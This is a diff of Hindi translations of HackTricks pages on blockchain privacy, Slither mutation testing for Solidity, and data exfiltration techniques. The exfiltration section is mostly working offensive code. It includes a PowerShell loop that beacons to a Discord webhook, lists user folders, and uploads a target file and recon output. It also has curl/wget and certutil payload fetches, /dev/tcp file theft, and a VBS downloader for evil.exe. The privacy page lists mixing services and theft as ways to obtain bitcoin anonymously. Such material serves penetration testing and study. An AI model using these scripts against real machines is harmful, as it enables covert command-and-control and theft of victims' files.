नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभवतः लेनदेन या ब्लॉक्स को IP पतों से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता प्रभावित हो सकती है। यह विशेष रूप से तब सच है जब कोई संस्थान कई Bitcoin नोड्स चलाता है, क्योंकि इससे उनके लिए लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉक्स को IP addresses से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता खतरे में पड़ सकती है। यदि कोई इकाई कई Bitcoin नोड्स चलाती है तो यह विशेष रूप से सच है, क्योंकि इससे उनके पास लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
## More
@ -105,18 +105,18 @@ For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: नकद के माध्यम से bitcoin प्राप्त करना।
- **Cash Alternatives**: गिफ्ट कार्ड खरीदकर और उन्हें ऑनलाइन bitcoin के लिए एक्सचेंज करना
- **Mining**: bitcoins कमाने का सबसे निजी तरीका mining है, खासकर अकेले करने पर क्योंकि mining pools को खनिक का IP पता पता हो सकता है। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: सैद्धान्तिक रूप से, bitcoin चोरी करके इसे गुमनाम तरीके से प्राप्त किया जा सकता है, हालाँकि यह अवैध है और अनुशंसित नहीं है।
- **Cash Transactions**: नकद के जरिए bitcoin प्राप्त करना।
- **Cash Alternatives**: गिफ्ट कार्ड खरीदकर और उन्हें ऑनलाइन bitcoin में बदलकर
- **Mining**: bitcoins कमाने का सबसे निजी तरीका mining है, खासकर जब अकेले किया जाए क्योंकि mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: सैद्धान्तिक रूप से, bitcoin चोरी करना इसे गुमनाम रूप से प्राप्त करने का एक तरीका हो सकता है, हालाँकि यह गैरकानूनी है और अनुशंसित नहीं है।
## Mixing Services
Mixing service का उपयोग करके, एक उपयोगकर्ता **bitcoins भेज सकता है** और बदले में **अलग bitcoins प्राप्त कर सकता है**, जिससे मूल मालिक का पता लगाना कठिन हो जाता है। फिर भी, इसके लिए सेवा पर भरोसा करना आवश्यक है कि वह लॉग नहीं रखेगी और वास्तव में bitcoins वापस करेगी। वैकल्पिक mixing विकल्पों में Bitcoin casinos शामिल हैं।
मिक्सिंग सर्विस का उपयोग करके, उपयोगकर्ता **send bitcoins** और बदले में **different bitcoins in return** प्राप्त कर सकता है, जिससे मूल मालिक का पता लगाना कठिन हो जाता है। हालांकि, इसके लिए सर्विस पर भरोसा करना आवश्यक है कि वह लॉग्स न रखे और वास्तव में bitcoins वापस करे। वैकल्पिक मिक्सिंग विकल्पों में Bitcoin casinos शामिल हैं।
## CoinJoin
**CoinJoin** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे इनपुट्स को आउटपुट्स से मिलाने की प्रक्रिया जटिल हो जाती है। अपनी प्रभावशीलता के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन अभी भी संभावित रूप से ट्रेस किए जा सकते हैं।
**CoinJoin** विभिन्न उपयोगकर्ताओं से कई लेनदेन को एक में मर्ज करता है, जिससे किसी के लिए इनपुट्स को आउटपुट्स के साथ मिलाना जटिल हो जाता है। इसकी प्रभावशीलता के बावजूद, अनोखी इनपुट और आउटपुट साइज वाले लेनदेन अभी भी संभावित रूप से ट्रेस किए जा सकते हैं।
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
@ -129,50 +129,58 @@ A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among tw
2 btc --> 3 btc
5 btc 4 btc
```
उपर्युक्त जैसी लेनदेन PayJoin हो सकती हैं, जो गोपनीयता बढ़ाती हैं जबकि मानक bitcoin लेनदेन से अलग पहचाने जाने योग्य नहीं रहतीं।
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**PayJoin के उपयोग से पारंपरिक निगरानी विधियों में काफी व्यवधान आ सकता है**, जिससे यह लेनदेन की गोपनीयता सुनिश्चित करने के प्रयासों में एक आशाजनक विकास बनता है।
**PayJoin का उपयोग पारंपरिक निगरानी तरीकों को गंभीर रूप से बाधित कर सकता है**, जो लेनदेन गोपनीयता की खोज में इसे एक आशाजनक विकास बनाता है।
# क्रिप्टोकरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
# क्रिप्टोकरेंसी में गोपनीयता के लिए सर्वश्रेष्ठ प्रथाएँ
## **Wallet Synchronization Techniques**
## **वॉलेट सिंक्रनाइज़ेशन तकनीकें**
गोपनीयता और सुरक्षा बनाए रखने के लिए, वॉलेट्स का blockchain के साथ सिंक्रोनाइज़ होना महत्वपूर्ण है। दो तरीके विशेष रूप से प्रभावी हैं:
गोपनीयता और सुरक्षा बनाए रखने के लिए वॉलेट्स का ब्लॉकचेन के साथ सिंक होना महत्वपूर्ण है। दो तरीके विशेष रूप से उल्लेखनीय हैं:
- **Full node**: पूरे blockchain को डाउनलोड करके, a full node अधिकतम गोपनीयता सुनिश्चित करता है। सभी किए गए लेनदेन स्थानीय रूप से संग्रहित होते हैं, जिससे विपक्षियों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किन लेनदेन या पतों में रुचि रखता है।
- **Client-side block filtering**: यह विधि blockchain के हर ब्लॉक के लिए फ़िल्टर बनाने में शामिल है, जिससे वॉलेट्स नेटवर्क निरीक्षकों के सामने विशिष्ट रुचियाँ उजागर किए बिना प्रासंगिक लेनदेन पहचान सकें। हल्के वॉलेट्स ये फ़िल्टर डाउनलोड करते हैं और केवल तब पूर्ण ब्लॉक फ़ेच करते हैं जब उपयोगकर्ता के पतों से मेल मिलता है।
- **Full node**: पूरे ब्लॉकचेन को डाउनलोड करके, एक full node अधिकतम गोपनीयता सुनिश्चित करता है। सभी किए गए लेनदेनों को स्थानीय रूप से संग्रहीत किया जाता है, जिससे प्रतिद्वंद्वियों के लिए यह पहचान पाना असंभव हो जाता है कि उपयोगकर्ता किन लेनदेनों या पतों में रूचि रखता है।
- **Client-side block filtering**: यह विधि ब्लॉकचेन के हर ब्लॉक के लिए फ़िल्टर बनाने में शामिल है, जिससे वॉलेट्स नेटवर्क निरीक्षकों के सामने उपयोगकर्ता की विशिष्ट रुचि उजागर किए बिना संबंधित लेनदेनों की पहचान कर सकें। लाइटवेट वॉलेट्स इन फ़िल्टरों को डाउनलोड करते हैं और केवल तभी पूरे ब्लॉक लाते हैं जब उपयोगकर्ता के पतों के साथ मैच मिलता है।
## **Utilizing Tor for Anonymity**
## **गुमनामी के लिए Tor का उपयोग**
चूंकि Bitcoin एक peer-to-peer नेटवर्क पर काम करता है, नेटवर्क के साथ इंटरैक्ट करते समय अपनी IP पता छिपाने के लिए Tor का उपयोग करने की सलाह दी जाती है, जिससे गोपनीयता बढ़ती है।
Bitcoin एक पीयर-टू-पीयर नेटवर्क पर चलता है, इसलिए नेटवर्क के साथ बातचीत करते समय आपकी IP पता छिपाने के लिए Tor का उपयोग करने की सिफारिश की जाती है, जो गोपनीयता बढ़ाता है।
## **Preventing Address Reuse**
## **पते के पुन: उपयोग को रोकना**
गोपनीयता सुरक्षित रखने के लिए, हर लेनदेन के लिए नया पता उपयोग करना आवश्यक है। पतों का पुन उपयोग गोपनीयता को कमजोर कर सकता है क्योंकि यह लेनदेन को एक ही इकाई से जोड़ देता है। आधुनिक वॉलेट्स अपने डिज़ाइन के माध्यम से पते के पुनः उपयोग को हतोत्साहित करते हैं।
गोपनीयता की रक्षा के लिए, हर लेनदेन के लिए नया पता उपयोग करना आवश्यक है। पतों का पुन: उपयोग लेनदेनों को एक ही इकाई से जोड़कर गोपनीयता को खतरे में डाल सकता है। आधुनिक वॉलेट्स अपने डिज़ाइन के जरिए पते के पुन: उपयोग को हतोत्साहित करते हैं।
## **Strategies for Transaction Privacy**
## **लेनदेन गोपनीयता के लिए रणनीतियाँ**
- **Multiple transactions**: भुगतान को कई लेनदेन में विभाजित करने से लेनदेन की राशि अस्पष्ट हो सकती है, जिससे गोपनीयता हमलों को विफल किया जा सकता है।
- **Change avoidance**: चेंज आउटपुट की आवश्यकता नहीं वाले लेनदेन चुनने से गोपनीयता बढ़ती है क्योंकि यह change detection तरीकों को बाधित करता है।
- **Multiple change outputs**: यदि चेंज से बचना संभव नहीं है, तो कई चेंज आउटपुट जनरेट करना फिर भी गोपनीयता में सुधार कर सकता है।
- **Multiple transactions**: एक भुगतान को कई लेनदेनों में विभाजित करने से लेनदेन की राशि अस्पष्ट हो सकती है, जिससे गोपनीयता हमलों को विफल किया जा सकता है।
- **Change avoidance**: ऐसे लेनदेन चुनना जिनमें change outputs की आवश्यकता न हो, change detection तरीकों को बाधित करके गोपनीयता बढ़ाता है।
- **Multiple change outputs**: अगर change से बचना संभव न हो तो कई change outputs बनाना फिर भी गोपनीयता बेहतर कर सकता है।
# **Monero: A Beacon of Anonymity**
# **Monero: एक गुमनामी का प्रकाशस्तंभ**
Monero डिजिटल लेनदेन में पूर्ण गुमनामी की आवश्यकता को पूरा करता है और गोपनीयता के लिए उच्च मानक स्थापित करता है।
Monero डिजिटल लेनदेन में पूर्ण गुमनामी की आवश्यकता को संबोधित करता है और गोपनीयता के लिए उच्च मानक स्थापित करता है।
# **Ethereum: Gas and Transactions**
# **Ethereum: Gas और लेनदेन**
## **Understanding Gas**
## **Gas को समझना**
Gas Ethereum पर ऑपरेशनों को निष्पादित करने के लिए आवश्यक कम्प्यूटेशनल प्रयास को मापता है, जिसका मूल्यांकन **gwei** में होता है। उदाहरण के लिए, 2,310,000 gwei (या 0.00231 ETH) लागत वाला एक लेनदेन gas limit और base fee शामिल करता है, साथ ही miners को प्रोत्साहित करने के लिए एक tip भी होता है। उपयोगकर्ता अधिक भुगतान न करें इसके लिए max fee सेट कर सकते हैं; अतिरिक्त राशि वापस कर दी जाती है।
Gas Ethereum पर ऑपरेशन्स निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसकी कीमत **gwei** में होती है। उदाहरण के लिए, 2,310,000 gwei (या 0.00231 ETH) लागत वाला एक लेनदेन gas limit और base fee शामिल करता है, साथ में miners को प्रेरित करने के लिए एक tip भी होता है। उपयोगकर्ता अधिक भुगतान न करें इसके लिए एक max fee सेट कर सकते हैं, अतिरिक्त राशि वापस कर दी जाती है।
## **Executing Transactions**
## **लेनदेन निष्पादित करना**
Ethereum में लेनदेन में एक sender और एक recipient शामिल होते हैं, जो उपयोगकर्ता या smart contract पतों में से कोई भी हो सकते हैं। इनके लिए एक fee आवश्यक है और इन्हें mined होना होता है। किसी लेनदेन की मौलिक जानकारी में recipient, sender का signature, value, वैकल्पिक data, gas limit और fees शामिल हैं। उल्लेखनीय है कि sender का पता signature से निकाला जाता है, इसलिए वह transaction डेटा में अलग से शामिल करने की आवश्यकता नहीं हती।
Ethereum में लेनदेन में एक sender और एक recipient शामिल होते हैं, जो उपयोगकर्ता या smart contract पतें हो सकते हैं। इनके लिए fee आवश्यक है और इन्हें mined होना चाहिए। लेनदेन में आवश्यक जानकारी में recipient, sender का signature, value, वैकल्पिक data, gas limit, और fees शामिल हैं। ध्यान दें कि sender का पता signature से निकाला जाता है, इसलिए उसे transaction डेटा में शामिल करने की आवश्यकता नहीं हती।
ये प्रथाएँ और तंत्र किसी भी व्यक्ति के लिए बुनियादी हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए क्रिप्टोकरेंसी के साथ जुड़ना चाहते हैं।
ये प्रथाएँ और तंत्र उन सभी के लिए बुनियादी हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए cryptocurrencies के साथ काम करना चाहते हैं।
## References
## Smart Contract सुरक्षा
- Mutation testing ताकि test suites में blind spots मिल सकें:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## संदर्भ
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -183,7 +191,7 @@ Ethereum में लेनदेन में एक sender और एक reci
## DeFi/AMM Exploitation
यदि आप DEXes और AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps) के practical exploitation का शोध कर रहे हैं, तो देखें:
यदि आप DEXes और AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps) के व्यावहारिक शोषण पर शोध कर रहे हैं, तो देखें:
{{#ref}}
defi-amm-hook-precision.md

View File

@ -0,0 +1,116 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" का मतलब है कि यह व्यवस्थित रूप से आपकी Solidity कोड में छोटे परिवर्तन (mutants) डालता है और आपका test suite फिर से चलाता है। यदि कोई टेस्ट फेल होता है, तो mutant को किल माना जाता है। अगर टेस्ट फिर भी पास हो जाते हैं, तो mutant जीवित रह जाता है — यह आपके test suite में एक छिपी हुई कमी उजागर करता है जिसे line/branch coverage पकड़ नहीं पाती।
मुख्य विचार: Coverage दिखाती है कि कोड executed हुआ था; mutation testing दिखाता है कि व्यवहार वास्तव में assert किया गया है या नहीं।
## क्यों कवरेज भ्रामक हो सकती है
इस सरल threshold चेक पर विचार करें:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
यूनिट टेस्ट जो केवल थ्रेशोल्ड से नीचे और थ्रेशोल्ड से ऊपर के वैल्यू को चेक करते हैं, वे 100% line/branch coverage तक पहुँच सकते हैं जबकि equality boundary (==) की assertion को चेक करने में असफल हो सकते हैं। कोड को `deposit >= 2 ether` में refactor करने पर ऐसे tests फिर भी पास हो जाएंगे और protocol लॉजिक चुपचाप टूट जाएगा।
Mutation testing इस कमी को उजागर करता है — यह condition में बदलाव करके यह सत्यापित करता है कि आपके tests फेल होते हैं।
## Common Solidity mutation operators
Slithers mutation engine कई छोटे, semantics बदलने वाले edits लागू करता है, जैसे:
- Operator replacement: `+``-`, `*``/`, आदि।
- Assignment replacement: `+=``=`, `-=``=`
- Constant replacement: non-zero → `0`, `true``false`
- Condition negation/replacement inside `if`/loops
- Comment out whole lines (CR: Comment Replacement)
- Replace a line with `revert()`
- Data type swaps: e.g., `int128``int64`
लक्ष्य: 100% generated mutants को kill करना, या बचे हुए के लिए स्पष्ट तर्क देना।
## Running mutation testing with slither-mutate
आवश्यकताएँ: Slither v0.10.2+.
- List options and mutators:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry उदाहरण (परिणाम कैप्चर करें और पूरा लॉग रखें):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- यदि आप Foundry का उपयोग नहीं करते हैं, तो `--test-cmd` को उस तरीके से बदलें जिससे आप टेस्ट चलाते हैं (उदाहरण के लिए, `npx hardhat test`, `npm test`)।
आर्टिफैक्ट्स और रिपोर्टें डिफ़ॉल्ट रूप से `./mutation_campaign` में संग्रहीत होती हैं। जो पकड़े नहीं गए (बचे हुए) mutants निरीक्षण के लिए वहाँ कॉपी किए जाते हैं।
### Understanding the output
रिपोर्ट की पंक्तियाँ इस तरह दिखती हैं:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- ब्रैकेट में टैग mutator alias है (उदाहरण: `CR` = Comment Replacement).
- `UNCAUGHT` का मतलब है कि mutated behavior के तहत tests पास हो गए → missing assertion.
## रनटाइम घटाना: प्रभावशाली mutants को प्राथमिकता दें
Mutation campaigns कई घंटे या दिनों तक चल सकती हैं। लागत घटाने के टिप्स:
- Scope: केवल critical contracts/directories से शुरुआत करें, फिर आवश्यकतानुसार बढ़ाएँ।
- Prioritize mutators: अगर किसी लाइन पर high-priority mutant बच जाता है (उदा., पूरी लाइन commented), तो आप उस लाइन के lower-priority variants को स्किप कर सकते हैं।
- Parallelize tests अगर आपका runner अनुमति देता है; dependencies/builds को cache करें।
- Fail-fast: जल्दी रोक दें जब कोई परिवर्तन स्पष्ट रूप से assertion gap दिखाए।
## बची हुई mutants के लिए ट्रायेज workflow
1) mutated लाइन और व्यवहार का निरीक्षण करें।
- स्थानीय रूप से reproduce करें: mutated लाइन लागू करके और एक focused test चलाकर।
2) tests को मजबूत करें ताकि वे केवल return values नहीं बल्कि state को assert करें।
- समानता-बाउंडरी चेक जोड़ें (उदा., test threshold `==`)।
- post-conditions assert करें: balances, total supply, authorization effects, और emitted events।
3) अत्यधिक permissive mocks को realistic behavior से बदलें।
- सुनिश्चित करें कि mocks उन transfers, failure paths, और event emissions को enforce करें जो on-chain होते हैं।
4) fuzz tests के लिए invariants जोड़ें।
- उदाहरण: conservation of value, non-negative balances, authorization invariants, और जहाँ लागू हो monotonic supply।
5) Re-run slither-mutate तब तक चलाएँ जब तक survivors मारे न जाएँ या स्पष्ट रूप से justified न हों।
## केस स्टडी: missing state assertions का खुलासा (Arkis protocol)
Arkis DeFi protocol के audit के दौरान एक mutation campaign ने कुछ survivors उभरे जैसे:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Commenting out the assignment didnt break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
Guidance: ऐसे survivors जिन्हें मूल्य-स्थानांतरण, लेखांकन, या पहुँच नियंत्रण प्रभावित करते हैं, उन्हें नष्ट किए जाने तक उच्च-जोखिम मानें।
## Practical checklist
- लक्ष्यित अभियान चलाएँ:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- बचे हुए म्यूटेंट्स का ट्रायज करें और ऐसे tests/invariants लिखें जो म्यूटेड व्यवहार के तहत फेल हों।
- बैलेंस, सप्लाई, प्राधिकरण, और इवेंट्स की पुष्टि करें।
- बाउंडरी टेस्ट जोड़ें: (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- अवास्तविक mocks बदलें; विफलता-परिस्थितियों का अनुकरण करें।
- तब तक पुनरावृत्ति करें जब तक सभी mutants नष्ट न हों या टिप्पणियों और तर्क के साथ औचित्य न दिया गया हो।
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन
## Commonly whitelisted domains to exfiltrate information
जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन खोजने के लिए [https://lots-project.com/](https://lots-project.com/) पर जाएं
[https://lots-project.com/](https://lots-project.com/) देखें ताकि commonly whitelisted domains ढूँढे जा सकें जिनका दुरुपयोग किया जा सकता है
## Copy\&Paste Base64
@ -13,7 +13,7 @@
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**विंडोज़**
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
@ -27,7 +27,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**विंडोज़**
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -100,9 +100,94 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) C2 और Data Exfiltration के लिए
Webhooks write-only HTTPS endpoints हैं जो JSON और वैकल्पिक file parts स्वीकार करते हैं। इन्हें आमतौर पर विश्वसनीय SaaS domains पर अनुमति दी जाती है और इनके लिए OAuth/API keys की आवश्यकता नहीं होती, जिससे ये low-friction beaconing और exfiltration के लिए उपयोगी रहते हैं।
Key ideas:
- Endpoint: Discord uses https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data जिसमें payload_json नाम का एक हिस्सा हो जो {"content":"..."} समाहित करे और वैकल्पिक file part(s) नामक file शामिल हों।
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK डिलीवरी की पुष्टि करते हैं।
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
नोट:
- समान पैटर्न अन्य सहयोगी प्लेटफ़ॉर्म (Slack/Teams) पर भी लागू होते हैं जो अपने incoming webhooks का उपयोग करते हैं; URL और JSON schema को तदनुसार समायोजित करें।
- Discord Desktop cache artifacts और webhook/API recovery के DFIR के लिए देखें:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTP सर्वर (python)
### FTP server (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
@ -143,14 +228,14 @@ ftp -n -v -s:ftp.txt
```
## SMB
Kali को सर्वर के रूप में
Kali को server के रूप में
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
या smb शेयर **samba** का उपयोग करके बनाएं:
या एक smb share बनाएं **using samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -165,7 +250,7 @@ guest ok = Yes
#Start samba
service smbd restart
```
विंडोज
विंडोज
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -175,38 +260,38 @@ WindPS-2> cd new_disk:
```
## SCP
हमलावर के पास SSHd चलाना आवश्यक है
attacker के सिस्टम पर SSHd चल रहा होना चाहिए
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से एक निर्देशिका को हमलावर पर माउंट कर सकता है।
यदि victim के पास SSH है, तो attacker victim से attacker पर एक directory mount कर सकता है।
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## एनसी
## NC
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### पीड़ित से फ़ाइल डाउनलोड करें
### victim से फ़ाइल डाउनलोड करें
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### पीड़ित को फ़ाइल अपलोड करें
### लक्ष्य पर फ़ाइल अपलोड करें
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
**@BinaryShadow\_** का धन्यवाद
धन्यवाद **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
यदि आप डेटा को SMTP सर्वर पर भेज सकते हैं, तो आप डेटा प्राप्त करने के लिए पायथन के साथ SMTP बना सकते हैं:
यदि आप किसी SMTP server पर डेटा भेज सकते हैं, तो आप python के साथ डेटा प्राप्त करने के लिए एक SMTP बना सकते हैं:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इसे स्थापना के दौरान स्पष्ट रूप से जोड़ा जाना चाहिए)
XP और 2003 में डिफ़ॉल्ट रूप से उपलब्ध है (अन्य में इसे इंस्टॉलेशन के दौरान स्पष्ट रूप से जोड़ना पड़ता है)
Kali में, **TFTP सर्वर शुरू करें**:
Kali में, **TFTP server शुरू करें**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP सर्वर पायथन में:**
**python में TFTP सर्वर:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**शिकार** में, Kali सर्वर से कनेक्ट करें:
**पीड़ित** में Kali server से कनेक्ट करें:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
एक PHP oneliner के साथ एक फ़ाइल डाउनलोड करें:
PHP oneliner के साथ फ़ाइल डाउनलोड करें:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -262,7 +347,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```bash
Attacker> python -m SimpleHTTPServer 80
```
**शिकार**
**पीड़ित**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@ -296,14 +381,24 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
The `debug.exe` प्रोग्राम न केवल बाइनरी की जांच करने की अनुमति देता है बल्कि इसमें **हैक्स से उन्हें फिर से बनाने की क्षमता भी है**। इसका मतलब है कि एक बाइनरी का हैक्स प्रदान करके, `debug.exe` बाइनरी फ़ाइल उत्पन्न कर सकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि debug.exe में **64 kb आकार तक की फ़ाइलों को असेंबल करने की सीमा है**
`debug.exe` प्रोग्राम न केवल binaries का निरीक्षण करने की अनुमति देता है बल्कि इसमें **hex से उन्हें पुनर्निर्मित करने की क्षमता** भी है। इसका मतलब है कि किसी binary का hex प्रदान करके, `debug.exe` उस binary फ़ाइल को बना सकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि debug.exe में **64 kb तक के आकार वाली फ़ाइलों को असेंबल करने की सीमा** है।
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
फिर टेक्स्ट को विंडोज-शेल में कॉपी-पेस्ट करें और एक फ़ाइल बनाई जाएगी जिसका नाम nc.exe होगा।
फिर टेक्स्ट को windows-shell में कॉपी-पेस्ट करें और nc.exe नाम की एक फ़ाइल बनाई जाएगी।
